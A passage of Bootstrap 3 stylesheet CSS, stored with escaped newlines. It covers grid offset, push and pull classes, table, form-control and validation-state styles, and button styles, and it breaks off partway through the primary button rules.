}\n  .col-sm-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 992px) {\n  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666667%;\n  }\n  .col-md-10 {\n    width: 83.33333333%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666667%;\n  }\n  .col-md-7 {\n    width: 58.33333333%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.66666667%;\n  }\n  .col-md-1 {\n    width: 8.33333333%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-md-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-md-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-md-pull-0 {\n    right: auto;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666667%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666667%;\n  }\n  .col-md-push-7 {\n    left: 58.33333333%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.66666667%;\n  }\n  .col-md-push-1 {\n    left: 8.33333333%;\n  }\n  .col-md-push-0 {\n    left: auto;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 1200px) {\n  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666667%;\n  }\n  .col-lg-10 {\n    width: 83.33333333%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666667%;\n  }\n  .col-lg-7 {\n    width: 58.33333333%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.66666667%;\n  }\n  .col-lg-1 {\n    width: 8.33333333%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-lg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-lg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-lg-pull-0 {\n    right: auto;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666667%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-lg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-lg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-lg-push-0 {\n    left: auto;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\ntable {\n  background-color: transparent;\n}\ncaption {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  color: #777;\n  text-align: left;\n}\nth {\n  text-align: left;\n}\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.42857143;\n  vertical-align: top;\n  border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n.table > tbody + tbody {\n  border-top: 2px solid #ddd;\n}\n.table .table {\n  background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n.table-bordered {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n  background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n  background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  position: static;\n  display: table-cell;\n  float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n  background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n  background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n  background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n  background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n  background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n  background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n  background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n  background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n  background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n  background-color: #ebcccc;\n}\n.table-responsive {\n  min-height: .01%;\n  overflow-x: auto;\n}\n@media screen and (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-y: hidden;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    border: 1px solid #ddd;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n  display: inline-block;\n  max-width: 100%;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  line-height: normal;\n}\ninput[type=\"file\"] {\n  display: block;\n}\ninput[type=\"range\"] {\n  display: block;\n  width: 100%;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n}\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n  background-color: #fff;\n  background-image: none;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n  -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;\n       -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n          transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n          box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n  color: #999;\n}\n.form-control::-webkit-input-placeholder {\n  color: #999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  background-color: #eee;\n  opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n}\ntextarea.form-control {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n  input[type=\"date\"].form-control,\n  input[type=\"time\"].form-control,\n  input[type=\"datetime-local\"].form-control,\n  input[type=\"month\"].form-control {\n    line-height: 34px;\n  }\n  input[type=\"date\"].input-sm,\n  input[type=\"time\"].input-sm,\n  input[type=\"datetime-local\"].input-sm,\n  input[type=\"month\"].input-sm,\n  .input-group-sm input[type=\"date\"],\n  .input-group-sm input[type=\"time\"],\n  .input-group-sm input[type=\"datetime-local\"],\n  .input-group-sm input[type=\"month\"] {\n    line-height: 30px;\n  }\n  input[type=\"date\"].input-lg,\n  input[type=\"time\"].input-lg,\n  input[type=\"datetime-local\"].input-lg,\n  input[type=\"month\"].input-lg,\n  .input-group-lg input[type=\"date\"],\n  .input-group-lg input[type=\"time\"],\n  .input-group-lg input[type=\"datetime-local\"],\n  .input-group-lg input[type=\"month\"] {\n    line-height: 46px;\n  }\n}\n.form-group {\n  margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n  position: relative;\n  display: block;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n  min-height: 20px;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  position: absolute;\n  margin-top: 4px \\9;\n  margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n  position: relative;\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n  cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n  cursor: not-allowed;\n}\n.form-control-static {\n  min-height: 34px;\n  padding-top: 7px;\n  padding-bottom: 7px;\n  margin-bottom: 0;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n  height: auto;\n}\n.form-group-sm .form-control {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.form-group-sm select.form-control {\n  height: 30px;\n  line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n  height: auto;\n}\n.form-group-sm .form-control-static {\n  height: 30px;\n  min-height: 32px;\n  padding: 6px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n  height: auto;\n}\n.form-group-lg .form-control {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.form-group-lg select.form-control {\n  height: 46px;\n  line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n  height: auto;\n}\n.form-group-lg .form-control-static {\n  height: 46px;\n  min-height: 38px;\n  padding: 11px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.has-feedback {\n  position: relative;\n}\n.has-feedback .form-control {\n  padding-right: 42.5px;\n}\n.form-control-feedback {\n  position: absolute;\n  top: 0;\n  right: 0;\n  z-index: 2;\n  display: block;\n  width: 34px;\n  height: 34px;\n  line-height: 34px;\n  text-align: center;\n  pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n  width: 46px;\n  height: 46px;\n  line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n  width: 30px;\n  height: 30px;\n  line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n  color: #3c763d;\n}\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n  color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n  color: #8a6d3b;\n}\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n  color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n  color: #a94442;\n}\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n.has-error .form-control-feedback {\n  color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n  top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n  top: 0;\n}\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-static {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .form-inline .input-group .input-group-addon,\n  .form-inline .input-group .input-group-btn,\n  .form-inline .input-group .form-control {\n    width: auto;\n  }\n  .form-inline .input-group > .form-control {\n    width: 100%;\n  }\n  .form-inline .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio label,\n  .form-inline .checkbox label {\n    padding-left: 0;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    padding-top: 7px;\n    margin-bottom: 0;\n    text-align: right;\n  }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  right: 15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-lg .control-label {\n    padding-top: 14.333333px;\n    font-size: 18px;\n  }\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-sm .control-label {\n    padding-top: 6px;\n    font-size: 12px;\n  }\n}\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n  color: #333;\n  text-decoration: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  cursor: not-allowed;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  opacity: .65;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n  pointer-events: none;\n}\n.btn-default {\n  color: #333;\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #8c8c8c;\n}\n.btn-default:hover {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n  color: #333;\n  background-color: #d4d4d4;\n  border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default .badge {\n  color: #fff;\n  background-color: #333;\n}\n.btn-primary {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n  color: #fff;\n  background-color: 